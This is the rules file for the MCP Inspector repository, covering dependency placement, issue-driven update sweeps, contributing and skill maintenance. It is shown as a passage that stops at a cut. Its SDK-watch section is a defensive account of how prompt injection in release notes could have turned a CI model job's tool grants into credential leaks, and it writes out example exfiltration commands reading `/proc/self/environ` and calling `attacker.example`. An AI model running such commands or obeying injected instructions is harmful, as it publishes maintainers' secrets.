Visual testing tool for MCP servers
# Inspector V2
This is an application for inspecting MCP servers. It has four client
surfaces โ Web, TUI, one-shot CLI, and the experimental connection CLI (`mcpdo`) โ
over a shared `core/`.
**This file holds the _rules_: the conventions a reviewer cites against a diff.**
It is loaded in full on every turn, so it stays resident and must stay complete
enough to work from on its own.
**The repo's _procedures_ โ multi-step recipes with commands and live IDs โ live
in [`.claude/skills/`](./.claude/skills).** They are ordinary committed Markdown,
so any agent or human can read one directly; Claude Code loads them on demand and
users invoke them by name.
## Skills index
| Skill | Covers | How it loads |
| ---------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------- |
| [`local-dev`](.claude/skills/local-dev/SKILL.md) | Install and run each client; the `@inspector/core` alias; and the **reasoning** behind Dependency placement below โ what each rule defends against and how to tell you have hit one (the rules themselves stay here) | Model-invoked, or `/local-dev` |
| [`project-structure`](.claude/skills/project-structure/SKILL.md) | Which client owns which surface, what is in `core/`, where a new file belongs | Model-invoked only |
| [`testing`](.claude/skills/testing/SKILL.md) | Where a test file goes, which command runs it, the tiers, clearing the coverage gate, `renderWithMantine` | Model-invoked, or `/testing` |
| [`issue-create`](.claude/skills/issue-create/SKILL.md) | The five-step create flow: version label, type label, milestone, board card, Status + Priority | Model-invoked, or `/issue-create` |
| [`issue-triage`](.claude/skills/issue-triage/SKILL.md) | The two-pass sweep of unboarded issues, the priority rubric and its score comment, the board audit | Model-invoked, or `/issue-triage` |
| [`board-ops`](.claude/skills/board-ops/SKILL.md) | `gh project` recipes and the field/option IDs for boards #28 and #11; the option-deletion hazard and its recovery | Model-invoked, or `/board-ops` |
| [`pr-flow`](.claude/skills/pr-flow/SKILL.md) | Branch naming, DCO signoff, screenshots, opening the PR, requesting a Copilot review, responding, closing out | Model-invoked, or `/pr-flow` |
| [`pre-push-gate`](.claude/skills/pre-push-gate/SKILL.md) | Running `npm run local:gate` and diagnosing a failing stage | Model-invoked, or `/pre-push-gate` |
| [`release`](.claude/skills/release/SKILL.md) | Cutting a release: bump on `v2/main`, milestone merge, release notes (incl. reporter thanks), tag `origin/main`, publish, re-cut on failure | `/release` |
| [`security-advisory`](.claude/skills/security-advisory/SKILL.md) | A privately reported vulnerability end to end: the draft card, who owns the code path, which release lines are affected, accepting, the private fork, publishing, public tracking per line (v2 converts; v1 files) | Model-invoked, or `/security-advisory` |
| [`test-servers`](.claude/skills/test-servers/SKILL.md) | Picking and running a showcase test server; the stale-build hazard | Model-invoked, or `/test-servers` |
Longer-form human documentation lives in [`docs/`](./docs) โ see the table in the
[README](./README.md#documentation).
## Project Structure
```
inspector/
โโโ clients/
โ โโโ web/ Vite + React + Mantine SPA with a Node backend
โ โ โโโ src/ Browser app: components, hooks, lib/, utils/, theme/
โ โ โโโ server/ Node-only dev/prod backend wiring
โ โ โโโ static/ sandbox_proxy.html โ served for the MCP Apps tab
โ โโโ cli/ Scriptable CLI (tsup bundle, @inspector/core alias)
โ โโโ mcpdo/ Experimental connection CLI (`mcpdo` bin โ connect once, many
โ โ commands; implicit Unix-socket connection daemon). Bundled
โ โ into the published package โ see clients/mcpdo/README.md
โ โโโ tui/ Ink + React terminal UI (tsup bundle)
โ โโโ launcher/ The `mcp-inspector` bin; dispatches to web/cli/tui in-process
โโโ core/ Shared code, consumed via the `@inspector/core` alias (no package.json)
โ โโโ auth/ OAuth end to end + the per-server SecretStore backends
โ โโโ cli/ Node-only surface the one-shot CLI and mcpdo share (method handlers,
โ โ exit codes, interactive OAuth flow, output styling); tested + gated by clients/cli
โ โโโ client/ Install-level client config (`client.json`)
โ โโโ extension/ Host-side adapters for MCP extensions whose protocol an upstream SDK owns
โ โ โโโ tasks/ The Inspector's glue around `@modelcontextprotocol/ext-tasks` (raw dispatch, progress routing)
โ โโโ json/ JSON/schema utilities shared by all three form builders
โ โโโ logging/ Silent pino logger singleton
โ โโโ mcp/ InspectorClient, transports, state stores, config import
โ โโโ node/ Node-only helpers (version reader, host normalization, browser opener)
โ โโโ react/ React hooks over the state stores (read during render โ see React instructions)
โ โโโ storage/ File I/O helpers for the OAuth persist backends
โโโ test-servers/ Composable MCP test servers + JSON configs
โโโ scripts/ Root build/verify tooling (install cascade, smokes, verify:* guards)
โ plus repo automation run from CI (the dependency, alert + SDK sweeps)
โ and maintainer-workflow helpers (the pr:*, board:*, advisory:*,
โ release:notes, release:tag + action:resolve-pin aliases)
โโโ docs/ Task-oriented guides
โโโ specification/ Design/build specifications
โโโ skills/ End-user agent skills (skills/mcpdo teaches an agent to drive
โ the `mcpdo` CLI; shipped in the published tarball). Distinct
โ from .claude/skills/ (repo procedures): not indexed above
โ and not checked by verify:skills
โโโ .claude/skills/ The procedures (see the index above)
```
**Every file here carries a header comment explaining its own purpose and the
reasoning behind it.** Read the source rather than looking for a second copy of
that reasoning in this file โ a duplicated rationale is one that goes stale
silently. For the fuller map (what each `core/` area owns, what each
`clients/web/server/` file does, where a new file belongs), the
`project-structure` skill.
## Development setup
v2 is **not** an npm workspace โ each client under `clients/*` keeps its own
`package.json` and `node_modules`. A single `npm install` at the **repo root**
is still all you need: the root `postinstall` cascades into every client. Node
`>=22.19.0`.
```sh
npm install # repo root
npm run build # web โ cli โ tui โ launcher
cd clients/web && npm run dev # day-to-day web iteration (Vite, HMR)
```
Fuller detail โ the launcher-driven scripts, the `@inspector/core` alias, and the
worktree trap โ is the `local-dev` skill.
## Dependency placement
The reasoning behind each of these, and what breaks when it is ignored, is the
`local-dev` skill. The rules themselves:
- **Every runtime dependency `core/` imports is declared in the repo-root `package.json` and nowhere else.** That is the MCP SDK packages (`@modelcontextprotocol/client`, `core`, `server`, `ext-apps`) and, since #2195, the rest of what `core/` reaches: `ajv`, `atomically`, `chokidar`, `hono`, `@napi-rs/keyring`, `pino`, `proper-lockfile`, `react`, `undici`, `zod`. So is anything reached only through root-owned code with no manifest of its own (`test-servers/src`, `core/`). `@modelcontextprotocol/server-legacy` is that case: only `test-servers/src` imports it (the legacy SSE transport), so it is a root **`devDependency`** โ declared as a runtime one, every `npx` install fetched it and printed its npm deprecation warning (#2519). The v1 SDK (`@modelcontextprotocol/sdk`) is **not** a dependency of this repo and must not become one.
- **A root declaration is not by itself a claim that `core/` imports it.** `commander`, `open`, `@hono/node-server`, `vite` and `@vitejs/plugin-react` are root `dependencies` reached only from _client_ code, for the runtime-consumption reason below: a published install resolves every externalized import from the root manifest, so a client's runtime import has to be declared there whether or not `core/` also reaches it. Those need naming only in the `external` list of the client that actually imports them, not in all four.
- **A client declares only what that client alone consumes** โ its own UI stack, its bundler-inlined packages, its dev tooling. `clients/cli`, `clients/mcpdo` and `clients/launcher` therefore declare **no** runtime dependencies at all, and that is the expected steady state, not an omission: everything they run on is root-declared and resolves by walk-up from the client directory. Re-adding a root-declared package to a client manifest re-creates the second copy this rule exists to make impossible (#1896), so a missing module at runtime is a signal to check the **root** manifest and the client's `external` list, never to add it back.
- **A package that moves to the root moves its `vitest.shared.mts` pin with it.** Left pointing at `<client>/node_modules` a pin resolves to a directory that no longer exists โ or, where a transitive copy happens to sit there (`chokidar` under `vite`, `react` as a peer of `react-dom` and `ink`), to the very duplicate the pin list exists to prevent. **`react` and `react-dom` are the deliberate exception** and stay pinned per client, so a client's renderer and the React it calls into come from one install; every other root-owned pin resolves from the repo root.
- **`dependencies` vs `devDependencies` follows from who consumes it at runtime**, not from where it is declared. Anything `core/` imports at runtime must be a root **`dependency`** โ the client builds externalize npm packages and a published install resolves them from the root manifest, where devDependencies are absent.
- **The shared toolchain is declared once, at the repo root, and in no client manifest.** `eslint`, `@eslint/js`, `typescript-eslint`, `globals`, `prettier`, `typescript`, `vitest`, `@vitest/coverage-v8` and `@types/node` are used by every client's own scripts, and a client that declares none of them still resolves the root copy by walk-up โ `npm run` puts each ancestor `node_modules/.bin` on `PATH`, and Node and TypeScript walk parent `node_modules` / `node_modules/@types` the same way. `clients/launcher` declares no `devDependencies` at all and its `validate` is unchanged. A client-side declaration buys nothing and installs a second copy free to drift, as `globals` (`^17.7.0` root / `^17.4.0` clients) and `typescript-eslint` (`^8.65.0` / `^8.56.1`) had before #2196. These stay **`devDependencies`** โ none is consumed at runtime and the tarball ships only each client's `build/`. The boundary is **used by every client**, not "used by one": anything narrower stays where it is, whether one client declares it (`tsx`, `playwright`, `storybook`, `happy-dom`, `ink-testing-library`, `vite-node`, each client's own `@types/*`) or several do โ `tsup` is declared in web, cli and tui, and `vite` in web and tui on top of the root **runtime** `dependency` that `--web --dev` needs. Those are out of scope here; consolidating them is a different call with a different rationale.
- โ ๏ธ **Deleting the declaration does not always delete the copy, and the local copy still wins.** npm auto-installs an unmet **peer** into the install that needs it, and it has no visibility into the root's tree โ so a client-only ESLint plugin drags a client-local `eslint` in (`eslint-plugin-react-refresh`/`-storybook` in web, `eslint-plugin-react-hooks` in tui), and web's Storybook/Vitest stack drags in a local `typescript` and `vitest`. A hoisted transitive does the same: `@types/express` puts an `@types/node` in web and cli. Those copies sit _nearer_ than the root's and take precedence. The consolidation is therefore about **one declaration and one place to bump**, not about a single copy on disk. โ ๏ธ **Nothing keeps the surviving copies aligned automatically โ but since #2226 the guard rejects the drift.** A **peer** copy is at least constrained by its holder's peer range โ tightly for `vitest` (an exact peer, hence the pin below), loosely for `eslint` (`^9 || ^10`), where the copies agree only because npm resolves the same latest in both installs. A **transitive** copy is constrained by nothing of ours at all, and cli's `@types/node` (`24.13.1` against the root's `24.13.3`) diverged on exactly that. **That is detection, not alignment: `verify:dep-lockstep` fails on this class since #2226, and you still do the bump by hand.** Its second tier compares every package any install _declares_ (`dependencies`, `devDependencies`, `optionalDependencies`; not peers) against every top-level copy across all five installs, independent of what a `tsc` program loads, so a transitive drift and a peer shadow (`eslint`, `typescript`, `vitest`) are both in scope now. Two limits remain: the tier reads lockfiles, so a tool binary you installed by hand and never committed is still invisible; and it only compares names some manifest declares, so a purely transitive package no manifest names is out of scope in both tiers unless a `tsc` program loads both copies. Aligning a stale install is `npm update <pkg>` there; a transitive copy that will not move takes an `overrides` entry in that install (`clients/cli` pins `@types/node` this way).
- โ ๏ธ **`vitest`, `@vitest/coverage-v8` and web's `@vitest/browser-playwright` are pinned exactly, and move together.** `@vitest/browser-playwright` declares an **exact** peer on `vitest`, so it โ not the root range โ decides which `vitest` web installs. Left to float, the root resolves a newer patch and web's tests then run on one `vitest` while loading a coverage provider built against another. Bumping means editing all three in one change, the same discipline the exact `prettier` pin (#1790) exists for. โ ๏ธ **Editing the three is necessary but not sufficient โ `clients/web` also carries a `vitest` `overrides` entry that has to move with them.** Web does not declare `vitest`, so its copy is the peer shadow above; its lockfile pins that copy at the old patch, and the exact peer plus the lockfile form a knot `npm install` resolves by refusing outright (`Conflicting peer dependency: vitest@<new>`), while `npm update` will not move it either. Deleting web's lockfile clears the error and re-resolves every caret range in the tree at once โ an uncontrolled dependency update wearing a security patch's clothes. The `overrides` entry is the controlled alternative, the same mechanism `clients/cli` uses for `@types/node`: it moves the shadowed copy and nothing else, keeping the churn inside the vitest constellation. So a vitest bump is **four** edits, and the override's version is an exact pin like the other three (#2301).
- **A root-declared package that `core/` imports at runtime must also be named in all four bundler `external` lists** (`clients/{cli,mcpdo,tui}/tsup.config.ts`, `clients/web/tsup.runner.config.ts`), since which client reaches it is a function of what `core/` imports rather than of what the client's own code names. `npm run verify:bundle-externals` enforces this against the **built output**.
- **A dependency that renders React components must be bundled** into the client that uses it (`noExternal`) and declared only there โ an externalized one resolves its own `react` and splits the tree. `ink` is the single exemption, on cost, and it is only safe while the root `react` range stays open to the whole major (`^19.0.0`).
- **One version per install-crossing dependency.** When bumping a dependency the shared sources pull in, bump it in every install that declares it. Consolidating to the root is what makes most of these unbumpable in two places at once, but it does not retire the rule โ a client's `devDependencies`, and any package that arrives transitively into a client install, can still skew against the root. Never raise the tsc heap to work around one. `npm run verify:dep-lockstep` enforces this in two tiers: packages that reach one `tsc` **program** from two installs (the #1896 heap-exhaustion class), and โ since #2226 โ every package any install **declares** that more than one install holds a top-level copy of, whether or not a program ever sees both.
- **Pin a transitive dependency with an `overrides` entry**, not with `npm audit fix` โ which "resolves" an advisory with no upward escape by silently downgrading.
### Dependency updates are issue-driven, like everything else
**Dependabot opens no pull requests against this repo โ neither version updates nor security updates.** A Dependabot PR carries no `Closes #N` and no board card, so it was the one standing exception to [Issue-driven Work Style](#issue-driven-work-style), enforced by nothing. Both halves are now replaced by scheduled workflows that file **issues**, and a maintainer writes the fix by hand against `v2/main`.
| Half | Switched off by | Replaced by | Cadence |
| ---------------- | ------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------- |
| Version updates | Deleting `.github/dependabot.yml` outright (#2235) โ an empty `updates:` list is not valid config | `.github/workflows/dependency-refresh.yml` โ `scripts/dependency-refresh.mjs`: `npm outdated` across every install, plus a `uses:` check against each action's latest release, folded into **one** tracking issue | Monthly |
| Security updates | `DELETE /repos/{owner}/{repo}/automated-security-fixes` โ a **repo setting**, not a file | `.github/workflows/dependabot-alerts.yml` โ `scripts/dependabot-alerts.mjs`: reads the alerts and files one issue **per bump** | Daily |
Four things about this that are not obvious from the code:
- **Dependabot _alerts_ stay on.** Alerts and security-update PRs are independent settings; only the PRs are off. Turning alerts off would blind the sweep that replaced them.
- **The security half is a schedule, not an event handler**, because there is no `dependabot_alert` workflow trigger โ it is a webhook event only.
- **Alerts are computed from the default branch (`main`), and we ship from `v2/main`.** So the sweep re-checks each alert's vulnerable range against `v2/main`'s own lockfile before filing, and skips one that is already fixed there. The converse is a real blind spot with no fix on this path: a vulnerable dependency introduced on `v2/main` and not yet merged to `main` produces **no alert at all**. The release-time `npm audit --audit-level=high` report (#2231) is the partial second signal โ and only at release time.
- **`automated-security-fixes` can be re-enabled from the UI without a commit**, so nothing in the repo would record it. The sweep reads it back and **fails loudly on an explicit `enabled: true`**. โ ๏ธ It is a _conditional_ guard, not an invariant: the endpoint needs `administration: read`, which `GITHUB_TOKEN` cannot be granted (`permissions:` has no such key), so under the default token the sweep logs **UNVERIFIED** and carries on rather than going red every day for an unrelated reason. Only a token carrying that scope makes it a real assertion.
**Actions stay on moving major tags, except in a job that holds a credential (#2484).** #2235's default stands for the ordinary job. A job holding `id-token: write`, `packages: write`, any secret other than `GITHUB_TOKEN`, or building an artifact such a job downloads runs only actions pinned to a **commit SHA with an exact `# vX.Y.Z` comment** โ a tag is mutable, so whoever can move it replaces the code running next to the credential. The comment is not decoration: the monthly sweep ranks a SHA pin by it (to the patch, since a SHA pins the patch), and a pin without one drops out of the sweep silently. `npm run verify:action-pins` enforces this in `validate:guards`; resolve the SHA and the exact release from the **same** tag lookup when bumping, since the guard is offline and cannot check the two agree.
An issue filed by either sweep is an ordinary board item โ `v2` + `chore` + `dependabot`, the current milestone, and a card on #28. **How it gets its card differs, and the two sweeps are not interchangeable here:**
| | files the card itself? |
| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Monthly version sweep | **No, never.** It does not attempt a board write at all and has no `PROJECT_TOKEN`; the issue arrives labeled and milestoned, and `/issue-triage` places it. |
| Daily security sweep | **Only when it can.** With an org-project PAT it places the card directly at **Todo / High**; without one it degrades to the same triage hand-off. |
The board write needs `organization projects: write`, which `GITHUB_TOKEN` cannot have โ hence "only when it can", and hence a filed-but-unboarded issue is a normal outcome rather than a failure. **Todo, not Incoming**, when the security sweep does place it: arriving through this pipeline _is_ the approval. **`High` is a standing override** of the [priority rubric](.claude/skills/issue-triage/SKILL.md), which would otherwise score a routine bump Medium; the issue body records the override so it does not read as a mis-score. โ ๏ธ A milestone is a precondition for placing a card โ `Incoming` โ no milestone โ so the security sweep leaves an issue **unboarded** rather than parked at Todo when no dated milestone is open. It picks the open milestone with the nearest **due date**, ignoring undated buckets; the monthly sweep's own selection does not yet filter those out (raised on #2239), so don't read this as a guarantee both scripts already implement.
### The SDK watch is the third sweep
**`.github/workflows/sdk-watch.yml` โ `scripts/sdk-watch.mjs` runs nightly (#1063) and files one issue per MCP SDK release we are behind**, labeled `v2` + `chore` + `dependencies`. It is not a Dependabot replacement โ it exists because SDK churn, OAuth especially, was being tracked by habit rather than by mechanism โ but it obeys the same rule as the two above: **it files an issue, never a PR.**
- **One issue per upstream.** `client`/`core`/`server`/`server-legacy` ship from `modelcontextprotocol/typescript-sdk` in lockstep and share one issue; `ext-apps` and `ext-tasks` each ship from their own repo and get their own. A `@modelcontextprotocol/*` package added to the root manifest and not added to `SDK_GROUPS` **fails the sweep loudly** rather than going unwatched โ that guard is the point, since a hardcoded group table is otherwise a silent blind spot.
- **It compares the INSTALLED version, not the declared range.** The four SDK packages are pinned exactly, so the two agree for them; `ext-apps` and `ext-tasks` are caret ranges, so a lockfile can already resolve higher than the manifest's floor, and comparing the declared string would file an issue for a bump `npm install` has already taken.
- **The target is the LOWEST `latest` across a group โ the version the whole group has reached โ not the highest.** npm publishes a lockstep release one package at a time, so a sweep landing mid-publish sees one package ahead of its three siblings. Targeting the highest would name a version three of them do not have _and_ write a marker that suppresses the real filing once the publication completes, so the release would never be tracked at all. Taking the minimum keeps the issue actionable and lets the completed release file its own.
- **It never boards, like the monthly sweep** โ no `PROJECT_TOKEN` exists in this org โ so the issue arrives labeled and milestoned and `/issue-triage` places it.
- **It never closes an issue either.** A further release files its own issue and leaves a **supersession comment** on the older one; closing is a maintainer act, since the card may already have moved. An issue closed for the same target keeps suppressing it, so a maintainer's "not planned" is not re-argued nightly.
**The analysis half runs Claude, not Copilot, and that is deliberate.** #1063 sketched "a copilot agent running Opus"; neither half of that is reachable from a workflow. Assigning `copilot-swe-agent` produces a **pull request** โ the artifact this whole section exists to remove โ and its model cannot be selected programmatically at all (`replaceActorsForAssignable` takes no model parameter; absent an admin-configured picker it runs Sonnet). So the `analyze` job uses `anthropics/claude-code-action` with `--model claude-opus-5`, which is told to post **one comment** and is denied every file-writing tool. It runs on `ANTHROPIC_API_KEY`, an **organization** secret already available to this repo, over the issues the sweep just created plus any **open** issue it already filed that still carries no analysis comment (the retry path below). What it never re-analyzes is an issue that already has one, or one that has been closed โ which is what keeps it to a single analysis per release instead of a near-identical comment every night.
- **"An issue exists" and "the issue was analyzed" are different claims**, and the sweep must not equate them. The posting step stamps `ANALYSIS_MARKER` on its comment; a sweep that finds an **open** existing issue for the current target but no such comment **re-queues it**, so a failed or timed-out `analyze` job is retried rather than silently never revisited. โ ๏ธ **Open only** โ suppressing and re-queuing are different questions about the same match, and a closed issue must keep suppressing without being handed a fresh comment every night. That marker is duplicated in the workflow because the posting step is shell โ a test asserts the two strings match, since drift would make every issue read as unanalyzed forever.
โ ๏ธ **Upstream release notes are untrusted input to that job, and the model is granted nothing that can write anywhere.** The tool whitelist is the only real control โ the prompt's prose constraints are not โ and two revisions of it were wrong before this one landed:
- `Bash(gh api:*)` against an `issues: write` token allowed arbitrary issue mutation.
- Pinning `Bash(gh issue comment <N>:*)` to the tracked issue did **not** fix it, because a `Bash(...)` grant matches a command **prefix** and says nothing about the flags that follow. `gh issue comment <N> --body-file /proc/self/environ` matches that grant, and the job's subprocess environment holds `ANTHROPIC_API_KEY` and `GITHUB_TOKEN` โ so a prompt injection could have published live credentials into a public issue.
- `Bash(npm view:*)` was the same hole pointing outward: `npm` accepts `--registry=<arbitrary URL>`, so `npm view x --registry=https://attacker.example/<encoded secret>` matched the grant and exfiltrated to a host of the attacker's choosing, where no output scan can see it.
**The general rule, since it caught us twice: a prefix grant constrains the command, never its flags. Check what flags a command accepts โ especially any that take a path or a URL โ before granting it.** A tool test in `sdk-watch.test.mjs` pins the whitelist against `npm`, `curl`, `wget`, `WebFetch` and `WebSearch` so this cannot regress quietly.
โ ๏ธ **Permissions are scoped per JOB, not per step**, so a job that runs a model cannot also hold the write scope its posting step needs โ the token reaches the model regardless of how carefully the step is written. The workflow is therefore **three** jobs: `sweep` (`issues: write`, files the issues), `analyze` (**`contents: read`**, runs the model), and `post` (`issues: write`, writes the comment). **The invariant is "no model runs in a write-capable job", not "only one job can write"** โ two of the three write, and neither runs a model. `analyze` hands its text to `post` as an **artifact**, not a job output, because matrix job outputs collide โ every leg writes the same key โ which would post one group's write-up onto the other group's issue. A test asserts `analyze`'s permissions are exactly `contents: read` and that it contains no posting step.
โ ๏ธ **`--tools` restricts what is available; `--allowedTools` only pre-approves.** They are not interchangeable and the difference is a security boundary, not a nicety โ a tool some other settings file or plugin already permits stays reachable when only `--allowedTools` names it. This repo learned that once in `scripts/skill-eval.mjs` and then repeated the mistake here. The analysis job now enumerates availability with `--tools "Read,Grep,Glob"`, pre-approves the same three so no headless run stalls on a prompt, and denies the rest by name as a third layer.
โ ๏ธ **The model gets no `Bash` at all**, and that is the resolution of the whole class above rather than a fourth patch to it. Every command grant turned out to have a wider flag surface than the grant looked, and a `Bash(...)` rule can match a **compound** command (`gh release view โฆ && curl โฆ`) besides. So the upstream release notes are **prefetched by a deterministic step** into `upstream-release-notes.md` and the model only reads files. When a grant keeps needing narrowing, take the capability away instead.
โ ๏ธ **A marker is not evidence โ this repo is public.** Anyone can open an issue or write a comment whose body starts with any string, and every marker here drives automation. Untrusted, an outsider could file (and close) an issue carrying the current target's marker to suppress the real upgrade issue indefinitely, post `ANALYSIS_MARKER` to suppress analysis retries forever, or forge a supersession note so the genuine one is never posted. So the sweep trusts a marker **only** on something the automation wrote: an issue must be authored by `github-actions` _and_ carry the `chore` + `dependencies` labels an outsider cannot set, and a comment must come from `github-actions[bot]`. Marker versions are validated with `semver.valid` too, since a malformed target would otherwise throw in `semver.lt` and fail the sweep every run.
So the model returns its write-up as structured output (`--json-schema`) and never posts anything itself. The write-up crosses **two** boundaries before it becomes a comment, and each one is a property to preserve:
1. **Out of the model's job.** A step in `analyze` scans the text and, only if it passes, writes `analysis.md` and uploads it as an artifact. โ ๏ธ **The scan gates the write, in the same step, and the upload is gated on that file existing** โ scanning later would be no protection at all, since this repo is public and an artifact holding a verbatim credential is downloadable for as long as it is retained. Refusing to _post_ text that has already left the job refuses nothing.
2. **Into the comment.** `post` downloads the artifact, scans it again (defense in depth โ the artifact is the boundary, so each side checks what it handles), and streams it to `gh issue comment --body-file -` over **stdin**, so nothing in the body can be read as a flag or a path.
`WebFetch` is denied and the model has no shell, so it controls no outbound channel; release notes are prefetched with `gh api` by a deterministic step. **Keep every one of those properties when editing this job**, and note that a test pins the scan-before-upload ordering specifically, because ordering is the whole control.
โ ๏ธ **One channel is still open, and it is accepted deliberately rather than closed.** `claude-code-action` copies the action's environment into the model's, so `ANTHROPIC_API_KEY` is readable by a `Read` the analysis genuinely needs, and `analysis` is model-controlled text this workflow publishes. The verbatim-credential scan catches only the naive shape; an encoded value passes it. **What makes that acceptable is the threat model, not the controls: every upstream this sweep reads (`modelcontextprotocol/typescript-sdk`, `modelcontextprotocol/ext-apps`, `modelcontextprotocol/ext-tasks`) is in this repository's own org**, so the release notes are first-party content, and anyone able to plant an injection in them already holds release rights here. Closing it properly means workload identity federation instead of a long-lived key (`anthropic_federation_rule_id` + `id-token: write`) โ possible, but org-admin work on the Anthropic organization, and disproportionate against our own changelogs (#2269, closed as not planned, records the full reasoning).
**That assessment is what to re-open if the inputs change.** Point the analysis at an upstream outside this org, or feed it third-party content, and the trade changes โ at which point federation, or a dedicated CI-scoped key with a spend cap, is the next step rather than another grant to narrow.
## Contributing
External contributions are accepted as **issues, not pull requests** โ maintainers handle design and implementation through a prompt-driven workflow.
If you've already built a change locally, share the **prompt** you used and screenshots if applicable, not a diff. See [`CONTRIBUTING.md`](./CONTRIBUTING.md) for the full policy.
**This applies to org members with write access too, not just outside contributors.** Having permission to push a branch is not authorization to open a PR. Pull requests against this repo are opened by the **repo maintainers** only. Anyone else โ including organization members whose write access makes it technically possible โ opens a **detailed issue** instead, and a maintainer takes it from there. A detailed issue means: the problem, how to reproduce it, the behavior you expected, and โ if you've already prototyped a fix โ the prompt you used and any screenshots, rather than a diff.
**Issues are filed through the forms in [`.github/ISSUE_TEMPLATE/`](./.github/ISSUE_TEMPLATE) โ blank issues are disabled.** GitHub serves the chooser from the **default branch** only, so a form edited here on `v2/main` has no effect on the live chooser until the next milestone merge into `main` โ and it cannot be previewed before then, which is why the schema notes below matter. There are two forms, **Bug report** (`1-bug_report.yml`, auto-labels `bug`) and **Feature request** (`2-feature_request.yml`, auto-labels `enhancement` **and `v2`**); `config.yml` holds the chooser's contact links. A form's `labels:` is **static** โ GitHub cannot map a reporter's answer to a label โ which splits the two cases: the **bug** form could target either line, so it carries a required version-line _dropdown_ and a maintainer applies the matching label at triage per [Label by version](#issue-driven-work-style); the **feature** form is v2 by construction (v1 takes security fixes only and cannot receive a feature), so it needs no dropdown and declares `v2` statically. If v1 ever reopens to features, that static label is what has to change. **There is deliberately no security template**: a vulnerability report must not open a public issue, so the chooser routes it to the private advisory form as a contact link instead (see [`SECURITY.md`](./SECURITY.md)). When adding or changing a form, validate it against GitHub's issue-forms schema (`markdown` blocks take no `id` and no `validations`; `checkboxes` mark `required` per option, not under `validations`).
**Every PR must reference an issue. No exceptions, regardless of who opens it.** The PR body's first line is `Closes #<ISSUE_NUMBER>` (see the [Issue-driven Work Style](#issue-driven-work-style) rules below). A PR with no linked issue has no board card, so the work is invisible to the project board and untracked โ if you're about to open one and there's no issue yet, create the issue first. This holds for a maintainer's own one-line fix as much as for a feature.
## Project Status and Direction
Three branches, three distinct roles. Target the one matching the work; **never
open a PR against `main`**.
| Branch | Role | PRs target it? | Publishes to |
| --------- | ----------------------------------------------------------------------------------------------- | --------------------------------------------------------- | ------------------------------------------------ |
| `v2/main` | **Develop.** All active v2 work lands here. | **Yes** โ every v2 PR | nothing directly; reaches npm via `main` |
| `main` | **Release.** The repo's default branch; holds the latest released v2. Not a development branch. | **No** โ it only receives milestone merges from `v2/main` | `latest` |
| `v1/main` | **Maintenance.** The deprecated v1 line, security fixes only, no active development. | **Yes** โ every v1 PR, directly | `v1-latest`, published straight from this branch |
So v2 flows `feature branch โ v2/main โ (milestone) main โ npm latest`, while v1
is flat: `feature branch โ v1/main โ npm v1-latest`, with no merge into `main` at
any point. The two lines publish independently under separate dist-tags, so a v1
fix does **not** need forward-porting.
- **Repo**: https://github.com/modelcontextprotocol/inspector.git
- **Project boards**: v2 โ [#28](https://github.com/orgs/modelcontextprotocol/projects/28) (active), v1 โ [#11](https://github.com/orgs/modelcontextprotocol/projects/11) (security fixes only)
A corollary for **branching**: cut feature branches from **`v2/main`**, never
from a milestone-merge branch โ the latter carries release-only commits that will
show up in your PR's diff. The version bump rides the same flow and is made on
`v2/main`; see the `release` skill.
## Maintenance Rules
### Keep documentation files up to date
- When adding, removing, renaming, or changing the purpose of any file or folder, update the corresponding entry in the main README.md and/or the related clients/\*/README.md
- When the structure of the project, the tech stack, or the developer setup changes, update the appropriate README.md files with the details.
- When adding new commands, dependencies, or architectural patterns, update the relevant sections of the appropriate README.md files as well.
- When rules for implementation and testing change, update this file, AGENTS.md.
- **When a _procedure_ changes, update the skill that owns it โ not this file.** Rules live here; recipes live in `.claude/skills/`. Two copies of a board ID or a command sequence is strictly worse than one, because the stale copy is indistinguishable from the live one.
### Maintaining the skills
Skills are conditional โ a skill's body loads only when it is invoked โ so a
skill that stops being reachable loses behavior **silently**. Four rules keep
that from happening:
1. **`npm run verify:skills` must pass.** It runs inside `validate:guards`,
which `validate` (CI) and `local:validate` (the gate) both run first. It parses each `SKILL.md`'s frontmatter the way Claude
Code does and fails on anything that would strip the metadata โ most importantly
**malformed YAML**, which loads the body with an _empty_ description, so
`/skill-name` still works and a manual spot check passes while the skill can
never auto-fire again. An unquoted colon in a description is enough โ and so
is an unquoted **`#`**, which YAML reads as a comment and which truncates the
description _silently_ from that point on rather than emptying it. `board-ops`
shipped that way: `Covers board #28 (v2) and board #11 (v1), their
node/field/option IDs, and the option-deletion hazard` was cut at `#28`, so 90
characters โ including both board numbers โ were absent from the listing while
every check stayed green, because a truncated description is still a non-empty
one. **Quote any description containing `#` or `:`.** It also
runs `claude plugin validate` โ the authoritative schema โ when the installed
CLI is **exactly** the pinned version, and otherwise says so and moves on.
That best-effort hand-off keeps `validate` fast and offline, but it also
means it usually does not run โ so the authoritative check gets a **guaranteed
step of its own**, `npm run verify:skills:cli`, in `local:gate` and in CI.
It resolves the CLI rather than hoping for one: an installed CLI **only when
it matches the pin exactly**, otherwise the pinned package via `npx -y`.
Exact rather than a floor, because a newer local CLI is a _different_ schema
from CI's โ accepting it would let the same `local:gate` disagree across
machines, which is what a pin exists to prevent. Both tiers run the same
script, so they cannot drift either.
โ ๏ธ Frontmatter is only read when the opening `---` is the file's **first
line** โ no BOM, no leading blank line.
2. **Every skill declares its invocation mode explicitly.**
`disable-model-invocation` is **required** on every skill (`true` = reachable
only by name, `false` = the model may fire it). A skill that is background
knowledge rather than an action also sets `user-invocable: false`.
**Default to `false`.** `true` was the original default here, on the argument
that a procedure with side effects would be typed as `/name` anyway โ but
_invoking_ a skill has no side effects, it loads instructions, and the premise
is false for anything a user asks for in prose. "Create a PR for #2163" is how
that work actually starts, and under `true` the model **cannot** reach the
skill at all: it is absent from the listing and the Skill tool refuses it. The
costs are asymmetric โ a spurious load costs ~250 characters, a missed one
costs a wrong base branch or an unsigned commit โ and the budget has held so
far (ten of the eleven are model-invoked today and total ~3.9k of 4k, so the
next addition needs a description trimmed or the budget raised). Reserve
`true` for a procedure that is genuinely only ever started deliberately โ
`release` is the only one left, because nobody cuts a release by implication.
โ ๏ธ **A `true` skill cannot be reached by another skill either.** If a
model-invocable skill says "see `/board-ops`", that pointer is a dead end for
the model unless `board-ops` is model-invocable too.
โ ๏ธ **Flipping is not free, and the listing budget is not what costs.** Going
